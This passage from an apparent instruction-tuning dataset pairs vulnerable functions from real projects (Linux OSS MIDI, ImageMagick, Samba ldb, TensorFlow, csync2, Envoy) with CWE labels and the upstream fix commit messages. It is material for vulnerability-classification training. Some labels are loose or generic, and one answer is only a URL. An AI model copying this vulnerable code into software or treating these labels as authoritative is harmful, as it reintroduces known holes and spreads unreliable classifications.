clearer.)\n\nCheck that the entire ar_stat field is present in the capture.\n\nNote that parse_wcc_attr() is called after we've already checked whether\nthe wcc_data is present.\n\nCheck before fetching the \"access\" part of the NFSv3 ACCESS results.\nThis fixes a buffer over-read discovered by Kamil Frankowicz.\n\nInclude a test for the \"check before fetching the \"access\" part...\" fix,\nusing the capture supplied by the reporter(s).'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: midi_synth_load_patch(int dev, int format, const char __user *addr,\n\t\t      int offs, int count, int pmgr_flag)\n{\n\tint             orig_dev = synth_devs[dev]->midi_dev;\n\n\tstruct sysex_info sysex;\n\tint             i;\n\tunsigned long   left, src_offs, eox_seen = 0;\n\tint             first_byte = 1;\n\tint             hdr_size = (unsigned long) &sysex.data[0] - (unsigned long) &sysex;\n\n\tleave_sysex(dev);\n\n\tif (!prefix_cmd(orig_dev, 0xf0))\n\t\treturn 0;\n\n\tif (format != SYSEX_PATCH)\n\t{\n/*\t\t  printk(\"MIDI Error: Invalid patch format (key) 0x%x\\n\", format);*/\n\t\t  return -EINVAL;\n\t}\n\tif (count < hdr_size)\n\t{\n/*\t\tprintk(\"MIDI Error: Patch header too short\\n\");*/\n\t\treturn -EINVAL;\n\t}\n\tcount -= hdr_size;\n\n\t/*\n\t * Copy the header from user space but ignore the first bytes which have\n\t * been transferred already.\n\t */\n\n\tif(copy_from_user(&((char *) &sysex)[offs], &(addr)[offs], hdr_size - offs))\n\t\treturn -EFAULT;\n \n \tif (count < sysex.len)\n\t{\n/*\t\tprintk(KERN_WARNING \"MIDI Warning: Sysex record too short (%d<%d)\\n\", count, (int) sysex.len);*/\n\t\tsysex.len = count;\n\t}\n  \tleft = sysex.len;\n  \tsrc_offs = 0;\n\n\tfor (i = 0; i < left && !signal_pending(current); i++)\n\t{\n\t\tunsigned char   data;\n\n\t\tif (get_user(data,\n\t\t    (unsigned char __user *)(addr + hdr_size + i)))\n\t\t\treturn -EFAULT;\n\n\t\teox_seen = (i > 0 && data & 0x80);\t/* End of sysex */\n\n\t\tif (eox_seen && data != 0xf7)\n\t\t\tdata = 0xf7;\n\n\t\tif (i == 0)\n\t\t{\n\t\t\tif (data != 0xf0)\n\t\t\t{\n\t\t\t\tprintk(KERN_WARNING \"midi_synth: Sysex start missing\\n\");\n\t\t\t\treturn -EINVAL;\n\t\t\t}\n\t\t}\n\t\twhile (!midi_devs[orig_dev]->outputc(orig_dev, (unsigned char) (data & 0xff)) &&\n\t\t\t!signal_pending(current))\n\t\t\tschedule();\n\n\t\tif (!first_byte && data & 0x80)\n\t\t\treturn 0;\n\t\tfirst_byte = 0;\n\t}\n\n\tif (!eox_seen)\n\t\tmidi_outc(orig_dev, 0xf7);\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703', 'CWE-189'], 'message': 'sound/oss: remove offset from load_patch callbacks\n\nWas: [PATCH] sound/oss/midi_synth: prevent underflow, use of\nuninitialized value, and signedness issue\n\nThe offset passed to midi_synth_load_patch() can be essentially\narbitrary.  If it's greater than the header length, this will result in\na copy_from_user(dst, src, negative_val).  While this will just return\n-EFAULT on x86, on other architectures this may cause memory corruption.\nAdditionally, the length field of the sysex_info structure may not be\ninitialized prior to its use.  Finally, a signed comparison may result\nin an unintentionally large loop.\n\nOn suggestion by Takashi Iwai, version two removes the offset argument\nfrom the load_patch callbacks entirely, which also resolves similar\nissues in opl3.  Compile tested only.\n\nv3 adjusts comments and hopefully gets copy offsets right.\n\nSigned-off-by: Dan Rosenberg \nSigned-off-by: Takashi Iwai '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void apply_sample_adaptive_offset_sequential(de265_image* img)\n{\n  const seq_parameter_set& sps = img->get_sps();\n\n  if (sps.sample_adaptive_offset_enabled_flag==0) {\n    return;\n  }\n\n  int lumaImageSize   = img->get_image_stride(0) * img->get_height(0) * img->get_bytes_per_pixel(0);\n  int chromaImageSize = img->get_image_stride(1) * img->get_height(1) * img->get_bytes_per_pixel(1);\n\n  uint8_t* inputCopy = new uint8_t[ libde265_max(lumaImageSize, chromaImageSize) ];\n  if (inputCopy == NULL) {\n    img->decctx->add_warning(DE265_WARNING_CANNOT_APPLY_SAO_OUT_OF_MEMORY,false);\n    return;\n  }\n\n\n  int nChannels = 3;\n  if (sps.ChromaArrayType == CHROMA_MONO) { nChannels=1; }\n\n  for (int cIdx=0;cIdxget_image_stride(cIdx);\n    int height = img->get_height(cIdx);\n\n    memcpy(inputCopy, img->get_image_plane(cIdx), stride * height * img->get_bytes_per_pixel(cIdx));\n\n    for (int yCtb=0; yCtbget_SliceHeaderCtb(xCtb,yCtb);\n          if (shdr==NULL) { return; }\n\n          if (cIdx==0 && shdr->slice_sao_luma_flag) {\n            apply_sao(img, xCtb,yCtb, shdr, 0, 1<get_image_plane(0), img->get_image_stride(0));\n          }\n\n          if (cIdx!=0 && shdr->slice_sao_chroma_flag) {\n            int nSW = (1<get_image_plane(cIdx), img->get_image_stride(cIdx));\n          }\n        }\n  }\n\n  delete[] inputCopy;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': 'fix reading invalid images where shdr references are NULL in part of the image (#302)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: MagickExport MagickBooleanType WriteImages(const ImageInfo *image_info,\n  Image *images,const char *filename,ExceptionInfo *exception)\n{\n#define WriteImageTag  \"Write/Image\"\n\n  ExceptionInfo\n    *sans_exception;\n\n  ImageInfo\n    *write_info;\n\n  MagickBooleanType\n    proceed;\n\n  MagickOffsetType\n    progress;\n\n  MagickProgressMonitor\n    progress_monitor;\n\n  MagickSizeType\n    number_images;\n\n  MagickStatusType\n    status;\n\n  register Image\n    *p;\n\n  assert(image_info != (const ImageInfo *) NULL);\n  assert(image_info->signature == MagickCoreSignature);\n  assert(images != (Image *) NULL);\n  assert(images->signature == MagickCoreSignature);\n  if (images->debug != MagickFalse)\n    (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",images->filename);\n  assert(exception != (ExceptionInfo *) NULL);\n  write_info=CloneImageInfo(image_info);\n  *write_info->magick='\\0';\n  images=GetFirstImageInList(images);\n  if (filename != (const char *) NULL)\n    for (p=images; p != (Image *) NULL; p=GetNextImageInList(p))\n      (void) CopyMagickString(p->filename,filename,MagickPathExtent);\n  (void) CopyMagickString(write_info->filename,images->filename,MagickPathExtent);\n  sans_exception=AcquireExceptionInfo();\n  (void) SetImageInfo(write_info,(unsigned int) GetImageListLength(images),\n    sans_exception);\n  sans_exception=DestroyExceptionInfo(sans_exception);\n  if (*write_info->magick == '\\0')\n    (void) CopyMagickString(write_info->magick,images->magick,MagickPathExtent);\n  p=images;\n  for ( ; GetNextImageInList(p) != (Image *) NULL; p=GetNextImageInList(p))\n    if (p->scene >= GetNextImageInList(p)->scene)\n      {\n        register ssize_t\n          i;\n\n        /*\n          Generate consistent scene numbers.\n        */\n        i=(ssize_t) images->scene;\n        for (p=images; p != (Image *) NULL; p=GetNextImageInList(p))\n          p->scene=(size_t) i++;\n        break;\n      }\n  /*\n    Write images.\n  */\n  status=MagickTrue;\n  progress_monitor=(MagickProgressMonitor) NULL;\n  progress=0;\n  number_images=GetImageListLength(images);\n  for (p=images; p != (Image *) NULL; p=GetNextImageInList(p))\n  {\n    if (number_images != 1)\n      progress_monitor=SetImageProgressMonitor(p,(MagickProgressMonitor) NULL,\n        p->client_data);\n    status&=WriteImage(write_info,p,exception);\n    if (number_images != 1)\n      (void) SetImageProgressMonitor(p,progress_monitor,p->client_data);\n    if (write_info->adjoin != MagickFalse)\n      break;\n    if (number_images != 1)\n      {\n        proceed=SetImageProgress(p,WriteImageTag,progress++,number_images);\n        if (proceed == MagickFalse)\n          break;\n      }\n  }\n  write_info=DestroyImageInfo(write_info);\n  return(status != 0 ? MagickTrue : MagickFalse);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476'], 'message': 'https://github.com/ImageMagick/ImageMagick/pull/34'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int ldb_msg_add_value(struct ldb_message *msg,\n\t\t      const char *attr_name,\n\t\t      const struct ldb_val *val,\n\t\t      struct ldb_message_element **return_el)\n{\n\tstruct ldb_message_element *el;\n\tstruct ldb_val *vals;\n\tint ret;\n\n\tel = ldb_msg_find_element(msg, attr_name);\n\tif (!el) {\n\t\tret = ldb_msg_add_empty(msg, attr_name, 0, &el);\n\t\tif (ret != LDB_SUCCESS) {\n\t\t\treturn ret;\n\t\t}\n\t}\n\n\tvals = talloc_realloc(msg->elements, el->values, struct ldb_val,\n\t\t\t      el->num_values+1);\n\tif (!vals) {\n\t\treturn LDB_ERR_OPERATIONS_ERROR;\n\t}\n\tel->values = vals;\n\tel->values[el->num_values] = *val;\n\tel->num_values++;\n\n\tif (return_el) {\n\t\t*return_el = el;\n\t}\n\n\treturn LDB_SUCCESS;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200'], 'message': 'CVE-2022-32746 ldb: Ensure shallow copy modifications do not affect original message\n\nUsing the newly added ldb flag, we can now detect when a message has\nbeen shallow-copied so that its elements share their values with the\noriginal message elements. Then when adding values to the copied\nmessage, we now make a copy of the shared values array first.\n\nThis should prevent a use-after-free that occurred in LDB modules when\nnew values were added to a shallow copy of a message by calling\ntalloc_realloc() on the original values array, invalidating the 'values'\npointer in the original message element. The original values pointer can\nlater be used in the database audit logging module which logs database\nrequests, and potentially cause a crash.\n\nBUG: https://bugzilla.samba.org/show_bug.cgi?id=15009\n\nSigned-off-by: Joseph Sutton '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code:   void Compute(OpKernelContext* context) override {\n    const Tensor& input_sizes = context->input(0);\n    const Tensor& filter = context->input(1);\n    OP_REQUIRES(\n        context, TensorShapeUtils::IsVector(input_sizes.shape()),\n        errors::InvalidArgument(\n            \"Conv2DBackpropInput: input_sizes input must be 1-dim, not \",\n            input_sizes.dims()));\n    TensorShape input_shape;\n    const int32* in_sizes_data = input_sizes.template flat().data();\n\n    for (int i = 0; i < input_sizes.NumElements(); ++i) {\n      OP_REQUIRES(context, in_sizes_data[i] >= 0,\n                  errors::InvalidArgument(\"Dimension \", i,\n                                          \" of input_sizes must be >= 0\"));\n      input_shape.AddDim(in_sizes_data[i]);\n    }\n    const TensorShape& filter_shape = filter.shape();\n    EXTRACT_AND_VERIFY_DIMENSIONS(\"DepthwiseConv2DBackpropInput\");\n\n    Tensor* in_backprop = nullptr;\n    OP_REQUIRES_OK(context, context->forward_input_or_allocate_output(\n                                {0}, 0, input_shape, &in_backprop));\n\n    // If there is nothing to compute, return.\n    if (input_shape.num_elements() == 0) {\n      return;\n    }\n\n    // If in_depth==1, this operation is just a standard convolution.\n    // Depthwise convolution is a special case of cuDNN's grouped convolution.\n    bool use_cudnn = std::is_same::value &&\n                     (in_depth == 1 ||\n                      (use_cudnn_grouped_conv_ &&\n                       IsCudnnSupportedFilterSize(/*filter_rows=*/filter_rows,\n                                                  /*filter_cols=*/filter_cols,\n                                                  /*in_depth=*/in_depth,\n                                                  /*out_depth=*/out_depth)));\n\n    VLOG(2) << \"DepthwiseConv2dNativeBackpropInput: \"\n            << \" Input: [\" << batch << \", \" << input_rows << \", \" << input_cols\n            << \", \" << in_depth << \"]; Filter: [\" << filter_rows << \", \"\n            << filter_cols << \", \" << in_depth << \", \" << depth_multiplier\n            << \"]; Output: [\" << batch << \", \" << out_rows << \", \" << out_cols\n            << \", \" << out_depth << \"], stride = \" << stride_\n            << \", pad_rows = \" << pad_top << \", pad_cols = \" << pad_left\n            << \", Use cuDNN: \" << use_cudnn;\n\n    if (use_cudnn) {\n      // Reshape from TF depthwise filter to cuDNN grouped convolution filter:\n      //\n      //                  | TensorFlow       | cuDNN\n      // --------------------------------------------------------------------\n      // filter_out_depth | depth_multiplier | depth_multiplier * group_count\n      // filter_in_depth  | in_depth         | in_depth / group_count\n      //\n      // For depthwise convolution, we have group_count == in_depth.\n      int32_t filter_in_depth = 1;\n      TensorShape shape =\n          TensorShape{filter_rows, filter_cols, filter_in_depth, out_depth};\n      Tensor reshaped_filter(/*type=*/dtype_);\n      OP_REQUIRES(\n          context, reshaped_filter.CopyFrom(filter, shape),\n          errors::Internal(\n              \"Failed to reshape filter tensor for grouped convolution.\"));\n      // TODO(yangzihao): Send in arbitrary dilation rates after the dilated\n      // conv is supported.\n      launcher_(context, /*use_cudnn=*/true, cudnn_use_autotune_, out_backprop,\n                reshaped_filter, /*row_dilation=*/1, /*col_dilation=*/1,\n                stride_, stride_, padding_, explicit_paddings_, in_backprop,\n                data_format_);\n      return;\n    }\n\n    auto out_backprop_ptr = out_backprop.template flat().data();\n    auto filter_ptr = filter.template flat().data();\n    auto in_backprop_ptr = in_backprop->template flat().data();\n    LaunchDepthwiseConvBackpropInputOp()(\n        context, args, out_backprop_ptr, filter_ptr, in_backprop_ptr,\n        data_format_);\n  } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': 'Fix tf.raw_ops.DepthwiseConv2dNativeBackpropInput vulnerability with large input sizes.\n\nUse AddDimWithStatus rather than AddDim in order to catch and report integer overflow gracefully.\n\nPiperOrigin-RevId: 444989983'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void csync_daemon_session()\n{\n\tstatic char line[4 * 4096];\n\tstruct stat sb;\n\taddress_t peername = { .sa.sa_family = AF_UNSPEC, };\n\tsocklen_t peerlen = sizeof(peername);\n\tchar *peer=0, *tag[32];\n\tint i;\n\n\n\tif (fstat(0, &sb))\n\t\tcsync_fatal(\"Can't run fstat on fd 0: %s\", strerror(errno));\n\n\tswitch (sb.st_mode & S_IFMT) {\n\tcase S_IFSOCK:\n\t\tif ( getpeername(0, &peername.sa, &peerlen) == -1 )\n\t\t\tcsync_fatal(\"Can't run getpeername on fd 0: %s\", strerror(errno));\n\t\tbreak;\n\tcase S_IFIFO:\n\t\tset_peername_from_env(&peername, \"SSH_CLIENT\");\n\t\tbreak;\n\t\t/* fall through */\n\tdefault:\n\t\tcsync_fatal(\"I'm only talking to sockets or pipes! %x\\n\", sb.st_mode & S_IFMT);\n\t\tbreak;\n\t}\n\n\twhile ( conn_gets(line, sizeof(line)) ) {\n\t\tint cmdnr;\n\n\t\tif (!setup_tag(tag, line))\n\t\t\tcontinue;\n\n\t\tfor (cmdnr=0; cmdtab[cmdnr].text; cmdnr++)\n\t\t\tif ( !strcasecmp(cmdtab[cmdnr].text, tag[0]) ) break;\n\n\t\tif ( !cmdtab[cmdnr].text ) {\n\t\t\tcmd_error = conn_response(CR_ERR_UNKNOWN_COMMAND);\n\t\t\tgoto abort_cmd;\n\t\t}\n\n\t\tcmd_error = 0;\n\n\t\tif ( cmdtab[cmdnr].need_ident && !peer ) {\n\t\t\tconn_printf(\"Dear %s, please identify first.\\n\",\n\t\t\t\t    csync_inet_ntop(&peername) ?: \"stranger\");\n\t\t\tgoto next_cmd;\n\t\t}\n\n\t\tif ( cmdtab[cmdnr].check_perm )\n\t\t\ton_cygwin_lowercase(tag[2]);\n\n\t\tif ( cmdtab[cmdnr].check_perm ) {\n\t\t\tif ( cmdtab[cmdnr].check_perm == 2 )\n\t\t\t\tcsync_compare_mode = 1;\n\t\t\tint perm = csync_perm(tag[2], tag[1], peer);\n\t\t\tif ( cmdtab[cmdnr].check_perm == 2 )\n\t\t\t\tcsync_compare_mode = 0;\n\t\t\tif ( perm ) {\n\t\t\t\tif ( perm == 2 ) {\n\t\t\t\t\tcsync_mark(tag[2], peer, 0);\n\t\t\t\t\tcmd_error = conn_response(CR_ERR_PERM_DENIED_FOR_SLAVE);\n\t\t\t\t} else\n\t\t\t\t\tcmd_error = conn_response(CR_ERR_PERM_DENIED);\n\t\t\t\tgoto abort_cmd;\n\t\t\t}\n\t\t}\n\n\t\tif ( cmdtab[cmdnr].check_dirty &&\n\t\t\tcsync_check_dirty(tag[2], peer, cmdtab[cmdnr].action == A_FLUSH) )\n\t\t\tgoto abort_cmd;\n\n\t\tif ( cmdtab[cmdnr].unlink )\n\t\t\tcsync_unlink(tag[2], cmdtab[cmdnr].unlink);\n\n\t\tswitch ( cmdtab[cmdnr].action )\n\t\t{\n\t\tcase A_SIG:\n\t\t\t{\n\t\t\t\tstruct stat st;\n\n\t\t\t\tif ( lstat_strict(prefixsubst(tag[2]), &st) != 0 ) {\n\t\t\t\t\tif ( errno == ENOENT ) {\n\t\t\t\t\t\tstruct stat sb;\n\t\t\t\t\t\tchar parent_dirname[strlen(tag[2])];\n\t\t\t\t\t\tsplit_dirname_basename(parent_dirname, NULL, tag[2]);\n\t\t\t\t\t\tif ( lstat_strict(prefixsubst(parent_dirname), &sb) != 0 )\n\t\t\t\t\t\t\tcmd_error = conn_response(CR_ERR_PARENT_DIR_MISSING);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tconn_resp_zero(CR_OK_PATH_NOT_FOUND);\n\t\t\t\t\t} else\n\t\t\t\t\t\tcmd_error = strerror(errno);\n\t\t\t\t\tbreak;\n\t\t\t\t} else\n\t\t\t\t\tif ( csync_check_pure(tag[2]) ) {\n\t\t\t\t\t\tconn_resp_zero(CR_OK_NOT_FOUND);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\tconn_resp(CR_OK_DATA_FOLLOWS);\n\t\t\t\tconn_printf(\"%s\\n\", csync_genchecktxt(&st, tag[2], 1));\n\n\t\t\t\tif ( S_ISREG(st.st_mode) )\n\t\t\t\t\tcsync_rs_sig(tag[2]);\n\t\t\t\telse\n\t\t\t\t\tconn_printf(\"octet-stream 0\\n\");\n\t\t\t}\n\t\t\tbreak;\n\t\tcase A_MARK:\n\t\t\tcsync_mark(tag[2], peer, 0);\n\t\t\tbreak;\n\t\tcase A_TYPE:\n\t\t\t{\n\t\t\t\tFILE *f = fopen(prefixsubst(tag[2]), \"rb\");\n\n\t\t\t\tif (!f && errno == ENOENT)\n\t\t\t\t\tf = fopen(\"/dev/null\", \"rb\");\n\n\t\t\t\tif (f) {\n\t\t\t\t\tchar buffer[512];\n\t\t\t\t\tsize_t rc;\n\n\t\t\t\t\tconn_resp(CR_OK_DATA_FOLLOWS);\n\t\t\t\t\twhile ( (rc=fread(buffer, 1, 512, f)) > 0 )\n\t\t\t\t\t\tif ( conn_write(buffer, rc) != rc ) {\n\t\t\t\t\t\t\tconn_printf(\"[[ %s ]]\", strerror(errno));\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\tfclose(f);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tcmd_error = strerror(errno);\n\t\t\t}\n\t\t\tbreak;\n\t\tcase A_GETTM:\n\t\tcase A_GETSZ:\n\t\t\t{\n\t\t\t\tstruct stat sbuf;\n\t\t\t\tconn_resp(CR_OK_DATA_FOLLOWS);\n\t\t\t\tif (!lstat_strict(prefixsubst(tag[2]), &sbuf))\n\t\t\t\t\tconn_printf(\"%ld\\n\", cmdtab[cmdnr].action == A_GETTM ?\n\t\t\t\t\t\t\t(long)sbuf.st_mtime : (long)sbuf.st_size);\n\t\t\t\telse\n\t\t\t\t\tconn_printf(\"-1\\n\");\n\t\t\t\tgoto next_cmd;\n\t\t\t}\n\t\t\tbreak;\n\t\tcase A_FLUSH:\n\t\t\tSQL(\"Flushing dirty entry (if any) for file\",\n\t\t\t\t\"DELETE FROM dirty WHERE filename = '%s'\",\n\t\t\t\turl_encode(tag[2]));\n\t\t\tbreak;\n\t\tcase A_DEL:\n\t\t\tif (!csync_file_backup(tag[2]))\n\t\t\t\tcsync_unlink(tag[2], 0);\n\t\t\tbreak;\n\t\tcase A_PATCH:\n\t\t\tif (!csync_file_backup(tag[2])) {\n\t\t\t\tconn_resp(CR_OK_SEND_DATA);\n\t\t\t\tcsync_rs_sig(tag[2]);\n\t\t\t\tif (csync_rs_patch(tag[2]))\n\t\t\t\t\tcmd_error = strerror(errno);\n\t\t\t}\n\t\t\tbreak;\n\t\tcase A_MKDIR:\n\t\t\t/* ignore errors on creating directories if the\n\t\t\t * directory does exist already. we don't need such\n\t\t\t * a check for the other file types, because they\n\t\t\t * will simply be unlinked if already present.\n\t\t\t */\n#ifdef __CYGWIN__\n\t\t\t// This creates the file using the native windows API, bypassing\n\t\t\t// the cygwin wrappers and so making sure that we do not mess up the\n\t\t\t// permissions..\n\t\t\t{\n\t\t\t\tchar winfilename[MAX_PATH];\n\t\t\t\tcygwin_conv_to_win32_path(prefixsubst(tag[2]), winfilename);\n\n\t\t\t\tif ( !CreateDirectory(TEXT(winfilename), NULL) ) {\n\t\t\t\t\tstruct stat st;\n\t\t\t\t\tif ( lstat_strict(prefixsubst(tag[2]), &st) != 0 || !S_ISDIR(st.st_mode)) {\n\t\t\t\t\t\tcsync_debug(1, \"Win32 I/O Error %d in mkdir command: %s\\n\",\n\t\t\t\t\t\t\t\t(int)GetLastError(), winfilename);\n\t\t\t\t\t\tcmd_error = conn_response(CR_ERR_WIN32_EIO_CREATE_DIR);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n#else\n\t\t\tif ( mkdir(prefixsubst(tag[2]), 0700) ) {\n\t\t\t\tstruct stat st;\n\t\t\t\tif ( lstat_strict((prefixsubst(tag[2])), &st) != 0 || !S_ISDIR(st.st_mode))\n\t\t\t\t\tcmd_error = strerror(errno);\n\t\t\t}\n#endif\n\t\t\tbreak;\n\t\tcase A_MKCHR:\n\t\t\tif ( mknod(prefixsubst(tag[2]), 0700|S_IFCHR, atoi(tag[3])) )\n\t\t\t\tcmd_error = strerror(errno);\n\t\t\tbreak;\n\t\tcase A_MKBLK:\n\t\t\tif ( mknod(prefixsubst(tag[2]), 0700|S_IFBLK, atoi(tag[3])) )\n\t\t\t\tcmd_error = strerror(errno);\n\t\t\tbreak;\n\t\tcase A_MKFIFO:\n\t\t\tif ( mknod(prefixsubst(tag[2]), 0700|S_IFIFO, 0) )\n\t\t\t\tcmd_error = strerror(errno);\n\t\t\tbreak;\n\t\tcase A_MKLINK:\n\t\t\tif ( symlink(tag[3], prefixsubst(tag[2])) )\n\t\t\t\tcmd_error = strerror(errno);\n\t\t\tbreak;\n\t\tcase A_MKSOCK:\n\t\t\t/* just ignore socket files */\n\t\t\tbreak;\n\t\tcase A_SETOWN:\n\t\t\tif ( !csync_ignore_uid || !csync_ignore_gid ) {\n\t\t\t\tint uid = csync_ignore_uid ? -1 : atoi(tag[3]);\n\t\t\t\tint gid = csync_ignore_gid ? -1 : atoi(tag[4]);\n\t\t\t\tif ( lchown(prefixsubst(tag[2]), uid, gid) )\n\t\t\t\t\tcmd_error = strerror(errno);\n\t\t\t}\n\t\t\tbreak;\n\t\tcase A_SETMOD:\n\t\t\tif ( !csync_ignore_mod ) {\n\t\t\t\tif ( chmod(prefixsubst(tag[2]), atoi(tag[3])) )\n\t\t\t\t\tcmd_error = strerror(errno);\n\t\t\t}\n\t\t\tbreak;\n\t\tcase A_SETIME:\n\t\t\t{\n\t\t\t\tstruct utimbuf utb;\n\t\t\t\tutb.actime = atoll(tag[3]);\n\t\t\t\tutb.modtime = atoll(tag[3]);\n\t\t\t\tif ( utime(prefixsubst(tag[2]), &utb) )\n\t\t\t\t\tcmd_error = strerror(errno);\n\t\t\t}\n\t\t\tbreak;\n\t\tcase A_LIST:\n\t\t\tSQL_BEGIN(\"DB Dump - Files for sync pair\",\n\t\t\t\t\"SELECT checktxt, filename FROM file %s%s%s ORDER BY filename\",\n\t\t\t\t\tstrcmp(tag[2], \"-\") ? \"WHERE filename = '\" : \"\",\n\t\t\t\t\tstrcmp(tag[2], \"-\") ? url_encode(tag[2]) : \"\",\n\t\t\t\t\tstrcmp(tag[2], \"-\") ? \"'\" : \"\")\n\t\t\t{\n\t\t\t\tif ( csync_match_file_host(url_decode(SQL_V(1)), tag[1], peer, (const char **)&tag[3]) )\n\t\t\t\t\tconn_printf(\"%s\\t%s\\n\", SQL_V(0), SQL_V(1));\n\t\t\t} SQL_END;\n\t\t\tbreak;\n\n\t\tcase A_DEBUG:\n\t\t\tcsync_debug_out = stdout;\n\t\t\tif ( tag[1][0] )\n\t\t\t\tcsync_debug_level = atoi(tag[1]);\n\t\t\tbreak;\n\t\tcase A_HELLO:\n\t\t\tif (peer) {\n\t\t\t\tfree(peer);\n\t\t\t\tpeer = NULL;\n\t\t\t}\n\t\t\tif (verify_peername(tag[1], &peername)) {\n\t\t\t\tpeer = strdup(tag[1]);\n\t\t\t} else {\n\t\t\t\tpeer = NULL;\n\t\t\t\tcmd_error = conn_response(CR_ERR_IDENTIFICATION_FAILED);\n\t\t\t\tbreak;\n\t\t\t}\n#ifdef HAVE_LIBGNUTLS\n\t\t\tif (!csync_conn_usessl) {\n\t\t\t\tstruct csync_nossl *t;\n\t\t\t\tfor (t = csync_nossl; t; t=t->next) {\n\t\t\t\t\tif ( !fnmatch(t->pattern_from, myhostname, 0) &&\n\t\t\t\t\t     !fnmatch(t->pattern_to, peer, 0) )\n\t\t\t\t\t\tgoto conn_without_ssl_ok;\n\t\t\t\t}\n\t\t\t\tcmd_error = conn_response(CR_ERR_SSL_EXPECTED);\n\t\t\t}\nconn_without_ssl_ok:;\n#endif\n\t\t\tbreak;\n\t\tcase A_GROUP:\n\t\t\tif (active_grouplist) {\n\t\t\t\tcmd_error = conn_response(CR_ERR_GROUP_LIST_ALREADY_SET);\n\t\t\t} else {\n\t\t\t\tconst struct csync_group *g;\n\t\t\t\tint i, gnamelen;\n\n\t\t\t\tactive_grouplist = strdup(tag[1]);\n\t\t\t\tfor (g=csync_group; g; g=g->next) {\n\t\t\t\t\tif (!g->myname) continue;\n\n\t\t\t\t\ti=0;\n\t\t\t\t\tgnamelen = strlen(csync_group->gname);\n\t\t\t\t\twhile (active_grouplist[i])\n\t\t\t\t\t{\n\t\t\t\t\t\tif ( !strncmp(active_grouplist+i, csync_group->gname, gnamelen) &&\n\t\t\t\t\t\t\t\t(active_grouplist[i+gnamelen] == ',' ||\n\t\t\t\t\t\t\t\t !active_grouplist[i+gnamelen]) )\n\t\t\t\t\t\t\tgoto found_asactive;\n\t\t\t\t\t\twhile (active_grouplist[i])\n\t\t\t\t\t\t\tif (active_grouplist[i++]==',') break;\n\t\t\t\t\t}\n\t\t\t\t\tcsync_group->myname = 0;\nfound_asactive: ;\n\t\t\t\t}\n\t\t\t}\n\t\t\tbreak;\n\t\tcase A_BYE:\n\t\t\tfor (i=0; i<32; i++)\n\t\t\t\tfree(tag[i]);\n\t\t\tconn_resp(CR_OK_CU_LATER);\n\t\t\treturn;\n\t\t}\n\n\t\tif ( cmdtab[cmdnr].update )\n\t\t\tcsync_file_update(tag[2], peer);\n\n\t\tif ( cmdtab[cmdnr].update == 1 ) {\n\t\t\tcsync_debug(1, \"Updated %s from %s.\\n\",\n\t\t\t\t\ttag[2], peer ? peer : \"???\");\n\t\t\tcsync_schedule_commands(tag[2], 0);\n\t\t}\n\nabort_cmd:\n\t\tif ( cmd_error )\n\t\t\tconn_printf(\"%s\\n\", cmd_error);\n\t\telse\n\t\t\tconn_resp(CR_OK_CMD_FINISHED);\n\nnext_cmd:\n\t\tdestroy_tag(tag);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': 'fail HELLO command when SSL is required'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code:     State()\n        : remote_encode_complete_(false), remote_decode_complete_(false), local_complete_(false),\n          has_1xx_headers_(false), created_filter_chain_(false), is_head_request_(false),\n          is_grpc_request_(false), non_100_response_headers_encoded_(false),\n          under_on_local_reply_(false), decoder_filter_chain_aborted_(false),\n          encoder_filter_chain_aborted_(false), saw_downstream_reset_(false) {} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416'], 'message': 'internal redirect: fix a lifetime bug (#785)\n\nSigned-off-by: Alyssa Wilk \nSigned-off-by: Matt Klein \nSigned-off-by: Pradeep Rao '"
+  },
+  {
